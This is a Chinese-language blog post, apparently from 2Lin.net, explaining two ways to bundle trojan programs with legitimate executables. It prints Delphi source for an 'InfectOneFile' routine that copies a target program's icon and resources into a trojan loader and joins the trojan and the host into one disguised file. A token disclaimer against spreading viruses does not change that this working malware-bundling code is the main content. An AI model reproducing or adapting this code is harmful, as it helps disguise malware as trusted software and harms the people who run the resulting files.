最近在研究病毒木马程序的感染和捆绑方式。
发现文件困绑有多种方式 我只和大家探讨两种方式 一种是附加的方式,一种是内嵌式
第一种方式 就是将木马程序附加在别的程序头部 也就是说 运行的目标程序是木马
然后木马程序将原程序解压出来再运行 听说熊猫烧香的程序用的就是这种方法
这种方式有缺点也有优点
优点是:
可以捆绑任何程序
缺点是:
运行时需要把目标程序给拷贝出来然后 然后再运行真正的程序 这种方法容易使人察觉出来被捆绑,并且如果目标程序大的话运行速度会比较慢
实现方法:(Demo下载)
如果不改变图标,实现方法是非常简单的。
用文件流的方式 把目标程序写在木马程序后面
这里提供修改图标的实现方法,就是替换目标程序里的所有资源,如果资源文件被压缩,捆绑将出错
(目前网络上有很多获取图标的方法,比如用ExtractIcon获取目标程序中的图标 这种方法读取出来的图标
和原程序的图标是有差别的。 就是颜色会浅一点, 让人一看就知道程序可能被捆绑过了)
请勿用于病毒传播,这里只贴出核心代码
function Align(Size, AlignBase: integer): Integer; begin if Size mod AlignBase <> 0 then Result := (Trunc(Size / AlignBase) + 1) * AlignBase else Result := Size; end; procedure GetRsrcStream(AFHandle: THandle; var AStream: PStream;var ASectionHeader: TImageSectionHeader); var I:integer; DosHeader: TImageDosHeader; NTHeader: TImageNtHeaders; {NtHeader} dRead: DWORD; begin SetFilePointer(AFHandle, 0, nil, FILE_BEGIN); ReadFile(AFHandle, DosHeader, SizeOf(TImageDosHeader), dRead, nil); //非PE 退出 if not DosHeader.e_magic = IMAGE_DOS_SIGNATURE then Exit; SetFilePointer(AFHandle, DosHeader._lfanew, nil, FILE_BEGIN); ReadFile(AFHandle, NTHeader, SizeOf(TImageNTHeaders), dRead, nil); //非PE 退出 if NTHeader.Signature <> IMAGE_NT_SIGNATURE then Exit; SetFilePointer(AFHandle, DosHeader._lfanew+SizeOf(TImageNtHeaders), nil, FILE_BEGIN); for i := 0 to NTHeader.FileHeader.NumberOfSections - 1 do begin ReadFile(AFHandle, ASectionHeader, SizeOf(TImageSectionHeader), dRead, nil); if ASectionHeader.VirtualAddress = NTHeader.OptionalHeader.DataDirectory[2].VirtualAddress then begin SetFilePointer(AFHandle, ASectionHeader.PointerToRawData, nil, FILE_BEGIN); SetLength(AStream, ASectionHeader.SizeOfRawData); ReadFile(AFHandle, AStream[0], ASectionHeader.SizeOfRawData, dRead, nil); Exit; end; end; end; function StripHighBit(L: Longint): DWORD; begin Result := L and $7FFFFFFF; end; function HighBitSet(L: Longint): Boolean; begin Result := (L and $80000000) <> 0; end; function IsDirectory(ResourceDirectoryEntry:PImageResourceDirectoryEntry; BaseEntry: DWORD): boolean; begin Result := HighBitSet(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) + BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData); end; function ResourceDataEntry(ResourceDirectoryEntry:PImageResourceDirectoryEntry; BaseEntry: DWORD):PImageResourceDataEntry; begin Result := PImageResourceDataEntry(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) + BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData + BaseEntry); end; function FixRsrc(ResourceDirectory:PImageResourceDirectory; BaseEntry,OldVA, NewVA: DWORD):boolean; var I: Integer; ResourceDirectoryEntry:PImageResourceDirectoryEntry; Data: PImageResourceDataEntry; begin Result := True; ResourceDirectoryEntry := PImageResourceDirectoryEntry(DWORD(ResourceDirectory) + SizeOf(TImageResourceDirectory)); for I := 0 to ResourceDirectory^.NumberOfIdEntries + ResourceDirectory^.NumberOfNamedEntries - 1 do begin if IsDirectory(ResourceDirectoryEntry, BaseEntry) then begin {目录递归调用,把下级的资源列出来} FixRsrc(PImageResourceDirectory(StripHighBit( ResourceDirectoryEntry^.OffsetToData)+ BaseEntry), BaseEntry, OldVA, NewVA); end else begin {资源} Data := ResourceDataEntry(ResourceDirectoryEntry, BaseEntry); //修正RVA Data^.OffsetToData := Data^.OffsetToData - OldVA + NewVA; end; inc(ResourceDirectoryEntry); end; end; function InfectOneFile(ASrcFileName,ADesFileName,ANewFileName: string): string; var F,F1,F2: THandle; dRead: DWORD; fsDes, fsSrc, len, i, lastPos, oldSize: integer; pRsrc,LoadStream: PStream; DosHeader: PImageDosHeader; NTHeader: PImageNtHeaders; {NtHeader} pSH,pSectionHeader: PImageSectionHeader; SectionHeader: TImageSectionHeader; Section: PSections; fectStream : TResourceStream; begin Result := ''; pRsrc := nil; //打开需要感染的目标文件 F := CreateFile(PChar(ADesFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); try if F = INVALID_HANDLE_VALUE then begin Result := '打开目标文件失败!'; Exit; end; //获取目标程序的资源文件 GetRsrcStream(F, pRsrc, SectionHeader); //如果没有资源文件则退出 if pRsrc = nil then begin Result := '读取目标文件资源失败!'; Exit; end; //读取附加程序流 fectStream := TResourceStream.Create(HInstance,'exe','exetype'); try fsSrc := fectStream.Size; SetLength(LoadStream, fectStream.Size); fectStream.ReadBuffer(LoadStream[0], fectStream.Size); finally fectStream.Free; end; DosHeader := PImageDosHeader(LoadStream); NTHeader := PImageNTHeaders(@LoadStream[DosHEader^._lfanew]); pSectionHeader := PImageSectionHeader(NTHeader); //指向NtHeader Inc(PImageNtHeaders(pSectionHeader)); //指针向前移Sizeof(TImageNtheaders),这时指向节表第一项 for I := 0 to NTHeader^.FileHeader.NumberOfSections - 1 do begin //比较是否是指定的节名,如“.rsrc” if Strlicomp(@pSectionHeader^.Name, PChar('.rsrc'), IMAGE_SIZEOF_SHORT_NAME) = 0 then begin oldSize := pSectionHeader^.SizeOfRawData; //修正资源大小 pSectionHeader^.SizeOfRawData := SectionHeader.SizeOfRawData; pSectionHeader^.Misc := SectionHeader.Misc; break; //找到了,则退出 end; Inc(pSectionHeader); //取节表下一项,即当前地址加上Sizeof(TImageSectionHeader) end; //修复资源 if not FixRsrc(PImageResourceDirectory(pRsrc), DWORD(pRsrc), SectionHeader.VirtualAddress, pSectionHeader^.VirtualAddress) then Exit; NTHeader^.OptionalHeader.DataDirectory[2].Size := SectionHeader.Misc.VirtualSize; NTHeader^.OptionalHeader.SizeOfImage := + Align(pSectionHeader^.Misc.VirtualSize + pSectionHeader^.VirtualAddress, NTHeader^.OptionalHeader.SectionAlignment); F1 := CreateFile(PChar(ANewFileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0); try if F1 = INVALID_HANDLE_VALUE then begin Result := '创建新文件失败!'; Exit; end; F2 := CreateFile(PChar(ASrcFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); try if F2 = INVALID_HANDLE_VALUE then begin Result := '读取目标文件失败!'; Exit; end; fsDes := GetFileSize(F, nil); Section := PSections(@LoadStream[$70]); Section^.GUID := $58585858; Section^.FirstOffset := fsSrc + (SectionHeader.SizeOfRawData - oldSize); fsSrc := GetFileSize(F2, nil); Section^.FirstSize := fsSrc; Section^.LastOffset := Section^.FirstOffset + fsSrc; Section^.LastSize := fsDes; //写入头部文件 WriteFile(F1, LoadStream[0], pSectionHeader^.PointerToRawData, dRead, nil); WriteFile(F1, pRsrc[0], Length(pRsrc), dRead, nil); repeat ReadFile(F2, LoadStream[0], Length(LoadStream),dRead, nil); WriteFile(F1, LoadStream[0], dRead, dRead, nil); until dRead = 0; SetFilePointer(F, 0, nil, FILE_BEGIN); repeat ReadFile(F, LoadStream[0], Length(LoadStream),dRead, nil); WriteFile(F1, LoadStream[0], dRead, dRead, nil); until dRead = 0; finally CloseHandle(F2); end; finally CloseHandle(F1); end; finally CloseHandle(F); SetLength(LoadStream, 0); SetLength(pRsrc, 0); end; end;
第二程度方式 就是将代码内嵌到目标程序。
也同样有缺点优点
优点是
首先运行的是目标程序。然后再运行木马程序,让人根本无法察觉
缺点是
只能感染部分程序。
(下篇待续)
——————————————————————————–
【版权声明】: 本文原创于http://2Lin.net, 转载请注明作者并保持文章的完整, 谢谢!
近期评论